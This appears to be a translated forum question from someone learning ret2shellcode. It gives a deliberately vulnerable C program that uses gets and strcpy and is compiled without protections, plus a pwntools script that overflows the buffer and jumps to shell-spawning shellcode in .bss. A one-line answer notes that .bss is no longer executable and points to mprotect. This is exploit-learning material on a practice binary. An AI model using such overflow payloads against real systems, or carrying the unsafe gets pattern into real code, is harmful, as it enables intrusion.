我正在学习ret2shellcode,并在ubuntu 22.04和kali 2022.2中尝试它,但未能获得shell,但在virtualbox中,我托管了一个ubuntu 18.04.5和相同的pwn脚本,它成功了,所以有人能指出哪里错了吗?
C代码在这里:
#include <stdio.h>
#include <string.h>
char buf[0X100];
void vuln(){
char s[0x100];
gets(s);
puts(s);
strcpy(buf, s);
}
int main(int argc, char *argv[])
{
vuln();
return 0;
}
编译器命令在这里:
gcc -m32 -fno-stack-protector -z execstack -no-pie main.c -o main
和pwnscript在这里:
from pwn import *
context(arch="i386", os="linux")
code = shellcraft.sh()
shellcode = asm(code)
io = process("./main")
l = 0x108 - len(shellcode)
location = 0x0804C040 # need to update, use ida to find the address of shellcode
payload = shellcode + l * b"a" + 4 * b"b" + p32(location)
io.sendline(payload)
io.interactive()
ubuntu 22.04 virtualbox镜像从这里下载:https://www.linuxvmimages.com/images/ubuntu-2204/
ubuntu 18.04.5 virtualbox镜像从这里下载:https://www.linuxvmimages.com/images/ubuntu-1804/
我发现这个问题与不同版本的gcc、python3和pwntools并不相关。
有人能帮我吗?感谢
.bss自linux 5.x以来不再可执行,您需要mprotect((我的朋友